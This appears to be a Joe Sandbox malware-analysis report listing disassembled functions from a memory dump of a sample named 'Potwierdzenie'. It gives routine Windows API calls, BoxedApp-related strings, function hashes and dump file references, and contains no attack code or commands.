Opcode ID: cba6c80e215bba4959c89fa8ce4b9c74b318a64c24c93163eedebc1361b843b3
Instruction ID: 9c0faac8e903885758c945fa2bc4fb8e1677c1d20f6fe5fd2cca7bbb4fc2f1c7
Opcode Fuzzy Hash: cba6c80e215bba4959c89fa8ce4b9c74b318a64c24c93163eedebc1361b843b3
Instruction Fuzzy Hash: 0051D2B8A11B15AFCB68DF69C480A9ABBF4FB88314F00456DE94A97B41D730F954CF90

Function 0BCACB60 Relevance: 9.1, APIs: 6, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 2923e2c759dbfe95eaeac5206741c74249207d3ba8488a87ef8d18f2add9dde9
Instruction ID: 45f36ff0498cf48e7f242b3a22a16e507734b3af81df7cc07d890a8844d384db
Opcode Fuzzy Hash: 2923e2c759dbfe95eaeac5206741c74249207d3ba8488a87ef8d18f2add9dde9
Instruction Fuzzy Hash: 875128B4622B169FD720DF25C948B27BBF8FF04758F044A1CE88A97651D734E644CB94

Function 0BCB2750 Relevance: 9.1, APIs: 6, Instructions: 130COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 0BCB2768

Part of subcall function 0BCBA660: GetCurrentThreadId.KERNEL32 ref: 0BCBA693

GetCurrentProcessId.KERNEL32(?,?), ref: 0BCB2784

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Current$Process$Thread
String ID:
API String ID: 3242834020-0
Opcode ID: cbe0d32eee8e06b81e8878f63358d11201d42b1298ce079170528f2c8633d7df
Instruction ID: c91b764278db9515b2959a53d1a3e09965417629021500c148d47c28f4befca3
Opcode Fuzzy Hash: cbe0d32eee8e06b81e8878f63358d11201d42b1298ce079170528f2c8633d7df
Instruction Fuzzy Hash: B8418F75611214AFC720DFA9D888E9FBBF8EF88751F10456CF9599B210D730EA04CBA0

Function 0BCB42F0 Relevance: 9.1, APIs: 6, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d0e4adcdf81a3ca0ae1dba6b380ed96d954896868f99754ea989025d505dfd7
Instruction ID: 510b2829e57228cfe4c0a4376e6d4211211da8011e13a5274987f321e58ebce4
Opcode Fuzzy Hash: 3d0e4adcdf81a3ca0ae1dba6b380ed96d954896868f99754ea989025d505dfd7
Instruction Fuzzy Hash: 9A417BB5E222159FDB18DF58C981FAFBBB9AF84740F184118ED04AB341D731DE018BA0

Function 0BC3A3E0 Relevance: 9.1, APIs: 6, Instructions: 106synchronizationCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC3A40C
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0BC3A43F
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0BC3A47C
SetEvent.KERNEL32(?), ref: 0BC3A48A
CloseHandle.KERNEL32(00000000), ref: 0BC3A4AF
SetEvent.KERNEL32(?), ref: 0BC3A4D9

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Event$ObjectSingleWait$CloseCreateHandle
String ID:
API String ID: 2339940433-0
Opcode ID: 69ab6a881121719c77889722494b9f44747ce15f5fd42f8e10117665cdc85b32
Instruction ID: 58e19379d65da6a3bb182e736d0ee4325b370d10c8e8b226acc7069b0ec3aa0a
Opcode Fuzzy Hash: 69ab6a881121719c77889722494b9f44747ce15f5fd42f8e10117665cdc85b32
Instruction Fuzzy Hash: 8031C375B01209AFDB50DF68CC48FAE77B8EF84B20F114164FD59A7280D670DE218761

Function 0BC665E0 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 117COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC666C0

Strings

core, xrefs: 0BC66716
constructed, xrefs: 0BC66701
: listener id , xrefs: 0BC6670C
BoxedApp::FileSystem::Utils::Impl::CRealFileNotificationManager::CRealFileNotificationManager, xrefs: 0BC66711

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CreateEvent
String ID: constructed$: listener id $BoxedApp::FileSystem::Utils::Impl::CRealFileNotificationManager::CRealFileNotificationManager$core
API String ID: 2692171526-3051967129
Opcode ID: 122a7bfb11b56922047c46e8eb9ada91fc96a7459397fbee48dc8818e94274ac
Instruction ID: 89339fd8ec191f9eb0a95d47bd6ce47be17ffbb5344e160cec2c66500c97325a
Opcode Fuzzy Hash: 122a7bfb11b56922047c46e8eb9ada91fc96a7459397fbee48dc8818e94274ac
Instruction Fuzzy Hash: A9419AB4A107058FD724EF28C849B5BBBF0FF05304F00492DE85A9BB90DB75E4048B90

Function 0BC66350 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 91COMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?), ref: 0BC6644C

Part of subcall function 0BC66290: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC66333

Strings

core, xrefs: 0BC663FB
BoxedApp::FileSystem::Utils::Impl::CGlobalRealFileNotificationManager::AddListener, xrefs: 0BC663F6
: listener id , xrefs: 0BC663F1
subscribed, NtNotifyChangeDirectoryFile returned , xrefs: 0BC663E6

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: EventReleaseSemaphore
String ID: subscribed, NtNotifyChangeDirectoryFile returned $: listener id $BoxedApp::FileSystem::Utils::Impl::CGlobalRealFileNotificationManager::AddListener$core
API String ID: 959531261-2265591250
Opcode ID: 1acb5a8d934718ce3353528f0bfa0fb6809ca543155b71618170206c2e4713eb
Instruction ID: 0aa134b0f11cd3dcc3531832041769199da615e25d940a56edc79b5c555c9566
Opcode Fuzzy Hash: 1acb5a8d934718ce3353528f0bfa0fb6809ca543155b71618170206c2e4713eb
Instruction Fuzzy Hash: 97317331660206AFDB04BFB4CC96EABBBB9FF54240B004079F5069B151DB31E915DB90

Function 0BBF2F20 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0BBF2F6B
GetLastError.KERNEL32 ref: 0BBF2F79

Strings

layer/sandbox, xrefs: 0BBF2FA3
BoxedApp::ApiLayer::CAutoForceWriteCopyMode::Init, xrefs: 0BBF2F9E
: TlsAlloc() failed, GetLastError() = , xrefs: 0BBF2F99

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: AllocErrorLast
String ID: : TlsAlloc() failed, GetLastError() = $BoxedApp::ApiLayer::CAutoForceWriteCopyMode::Init$layer/sandbox
API String ID: 4252645092-663972680
Opcode ID: 3a2d983c0ca0e9c8329264c212a201192956c78a45c132e689b7e609bf7b28c1
Instruction ID: 11672ffeba3073dd8675fe81b95de04fb258f277e3500237fa5308f5e0200929
Opcode Fuzzy Hash: 3a2d983c0ca0e9c8329264c212a201192956c78a45c132e689b7e609bf7b28c1
Instruction Fuzzy Hash: B321F971A60202AFC710AF74D849A6EBBB4FF50650F1042BCF9269B290EB30D854DBD1

Function 0BCC41D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

CoCreateGuid.OLE32(?,00000000,?,00000000,?,?,0BCBEF73,?,?,0BCCE4D4,61570000), ref: 0BCC41E8
GetTickCount.KERNEL32 ref: 0BCC4201
wsprintfW.USER32 ref: 0BCC420E
wsprintfW.USER32 ref: 0BCC4237

Strings

%.8x_%.8x_%.8x_%.8x, xrefs: 0BCC4231

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: wsprintf$CountCreateGuidTick
String ID: %.8x_%.8x_%.8x_%.8x
API String ID: 2660847141-1060500217
Opcode ID: 7353a1b2c3186ff0d35bccb50add657b3353c59d79b90dc4ae7883a62cfc8541
Instruction ID: 31854c75ecb35cd5463091c453dc88b895c36b4985b7f2e394e058bbfbecd41a
Opcode Fuzzy Hash: 7353a1b2c3186ff0d35bccb50add657b3353c59d79b90dc4ae7883a62cfc8541
Instruction Fuzzy Hash: 5811C2B2E501096BDB007BB4AC4AABFB7BCAF95601F044079F906D2201EA24DA05D7B3

Function 0BC5CF20 Relevance: 7.9, APIs: 5, Instructions: 404COMMON

Download Yara Rule

APIs

Part of subcall function 0BBF1950: GetCurrentThreadId.KERNEL32 ref: 0BBF1959

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,000000FF), ref: 0BC5D0A0
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000000,000000FF), ref: 0BC5D1E1
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000000,000000FF), ref: 0BC5D377
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000000,000000FF), ref: 0BC5D43C
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC5D4BD

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore$CurrentThread
String ID:
API String ID: 2711043956-0
Opcode ID: 6edb9fd0154cd8ef4e34dd6ce589f0d5a55ff64d7937209410b5096729542a47
Instruction ID: 1879287d3cd253ae7c81c3bd935276f69f4534c6dbe68bd139d707662d0dcfca
Opcode Fuzzy Hash: 6edb9fd0154cd8ef4e34dd6ce589f0d5a55ff64d7937209410b5096729542a47
Instruction Fuzzy Hash: D912077455130AEFCB14CF54D488BE9B7B0FF18314F1442B9E81A9B392C772AA86CB94

Function 0BC5A1E0 Relevance: 7.9, APIs: 5, Instructions: 397COMMON

Download Yara Rule

APIs

Part of subcall function 0BBF1950: GetCurrentThreadId.KERNEL32 ref: 0BBF1959

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,000000FF,?,?,?,0BC5BE47,0BC5BE47,?,?,0BC5BE47,?), ref: 0BC5A345
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000000,000000FF,?,000000FF,000000FF,?,?,?,0BC5BE47,0BC5BE47,?,?,0BC5BE47), ref: 0BC5A491
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000000,000000FF,?,000000FF,000000FF,?,?,?,0BC5BE47,0BC5BE47,?,?,0BC5BE47), ref: 0BC5A6EC
ReleaseSemaphore.KERNEL32(?,00000001,00000000,0BC5BE47,?), ref: 0BC5A76D

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore$CurrentThread
String ID:
API String ID: 2711043956-0
Opcode ID: 05f206714fa379aa3b56ba6ba0d8222fe5ba0ce1098a0e38bb9f72daeb22ae02
Instruction ID: 5ded7c46bae5a3521eede55f91606cf00e373807f472f8a134030f2d630b8163
Opcode Fuzzy Hash: 05f206714fa379aa3b56ba6ba0d8222fe5ba0ce1098a0e38bb9f72daeb22ae02
Instruction Fuzzy Hash: DB121AB4A11209DFCB14CF55C488BA5B7F4FF08314F5442B9EA199B392C731AA86CF98

Function 0BC72EF0 Relevance: 7.9, APIs: 5, Instructions: 391COMMON

Download Yara Rule

APIs

Part of subcall function 0BBF1950: GetCurrentThreadId.KERNEL32 ref: 0BBF1959

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,000000FF,75A8EB20,74DEF550,0BCD451C,0BCAE098,?,?,0BCAE098,0BCD451C,0BCEA868), ref: 0BC73043
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000000,000000FF,?,000000FF,000000FF,75A8EB20,74DEF550,0BCD451C,0BCAE098,?,?,0BCAE098,0BCD451C), ref: 0BC73119

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore$CurrentThread
String ID:
API String ID: 2711043956-0
Opcode ID: b78d2a085b47a2a7e4b030bb563909d3101181e3a7bba7d899caf958e03ac7be
Instruction ID: a90c6c2c3159645143a9c7d6b1734f42c187c2fc73f47ded889d21f4a3f6002c
Opcode Fuzzy Hash: b78d2a085b47a2a7e4b030bb563909d3101181e3a7bba7d899caf958e03ac7be
Instruction Fuzzy Hash: 4302ACB0A22246EFCB54DF68C484B99BBB4FF48314F104299E8159F792C331EA46DF94

Function 0BC6E000 Relevance: 7.9, APIs: 5, Instructions: 388COMMON

Download Yara Rule

APIs

Part of subcall function 0BBF1950: GetCurrentThreadId.KERNEL32 ref: 0BBF1959

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,000000FF), ref: 0BC6E14F
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000000,000000FF,?,000000FF,000000FF), ref: 0BC6E220
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000000,000000FF,?,000000FF,000000FF), ref: 0BC6E34A
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000000,000000FF,?,000000FF,000000FF), ref: 0BC6E3DC
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC6E44E

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore$CurrentThread
String ID:
API String ID: 2711043956-0
Opcode ID: 1250318fec0fd6bf26559c410e63977094b326b034f1b8d62a5c1d1cc8124e2d
Instruction ID: 77b520e33c43e4a8a2c442d61f797e89a64d333e3caf3345c269b7a38ba6d9ec
Opcode Fuzzy Hash: 1250318fec0fd6bf26559c410e63977094b326b034f1b8d62a5c1d1cc8124e2d
Instruction Fuzzy Hash: E302F4B8911206DFCB14CF58C580FA9BBB5FF08354F1046AAE9599B392D331EA56CB90

Function 0BC32E80 Relevance: 7.9, APIs: 5, Instructions: 384COMMON

Download Yara Rule

APIs

Part of subcall function 0BBF1950: GetCurrentThreadId.KERNEL32 ref: 0BBF1959

ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC32FD6
ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,00000000,000000FF), ref: 0BC330AA
ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,00000000,000000FF), ref: 0BC331D6
ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,00000000,000000FF), ref: 0BC33269
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC332DB

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore$CurrentThread
String ID:
API String ID: 2711043956-0
Opcode ID: e36cdb001b01325929cd3b5d28146cd5e085531d32a7b2f1e739117d8c291fce
Instruction ID: 8c1a81b5f164fbf3cb3fb161e87d9571f46e4991d7234c2f73f2e5274b8459bb
Opcode Fuzzy Hash: e36cdb001b01325929cd3b5d28146cd5e085531d32a7b2f1e739117d8c291fce
Instruction Fuzzy Hash: 1A026AB0911646EFCB18CF58C484B65BBB0FF48714F608699E8158B392D772EA86CFD4

Function 0BC68060 Relevance: 7.9, APIs: 5, Instructions: 380COMMON

Download Yara Rule

APIs

Part of subcall function 0BBF1950: GetCurrentThreadId.KERNEL32 ref: 0BBF1959

ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,000000FF,000000FF,?,?), ref: 0BC68197
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000000,000000FF,?,000000FF,000000FF,?,?), ref: 0BC68269
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000000,000000FF,?,000000FF,000000FF,?,?), ref: 0BC68393
ReleaseSemaphore.KERNEL32(?,00000001,00000000,00000000,000000FF,?,000000FF,000000FF,?,?), ref: 0BC68425
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC68497

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore$CurrentThread
String ID:
API String ID: 2711043956-0
Opcode ID: 885347009c2fb3c1807443d5c8552712854ccbdb1139326b410b3a8cdd0e5e23
Instruction ID: 9b7c98cf690e4545053b9af77562c172dba15e4abe017a65e5c07ca76fb6cbd4
Opcode Fuzzy Hash: 885347009c2fb3c1807443d5c8552712854ccbdb1139326b410b3a8cdd0e5e23
Instruction Fuzzy Hash: CB0214B4911606DFCB14CF58C484F69BBF0FF08354F2086AAE9559B292D371EA96CF90

Function 0BC7A170 Relevance: 7.9, APIs: 5, Instructions: 377COMMON

Download Yara Rule

APIs

Part of subcall function 0BBF1950: GetCurrentThreadId.KERNEL32 ref: 0BBF1959

ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,?,000000FF,000000FF), ref: 0BC7A2A8
ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,00000000,000000FF,?,000000FF,000000FF), ref: 0BC7A37A
ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,00000000,000000FF,?,000000FF,000000FF), ref: 0BC7A4A6
ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,00000000,000000FF,?,000000FF,000000FF), ref: 0BC7A539
ReleaseSemaphore.KERNEL32(000000FF,00000001,00000000,000000FF), ref: 0BC7A5AB

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ReleaseSemaphore$CurrentThread
String ID:
API String ID: 2711043956-0
Opcode ID: 9506f3974b64be342285a743e8200656dfe888df572684dcf34faf4884ef3a38
Instruction ID: aa650abf7853734474c7959c237a192ce4fafe259cdddca2698fe0b4ecd76125
Opcode Fuzzy Hash: 9506f3974b64be342285a743e8200656dfe888df572684dcf34faf4884ef3a38
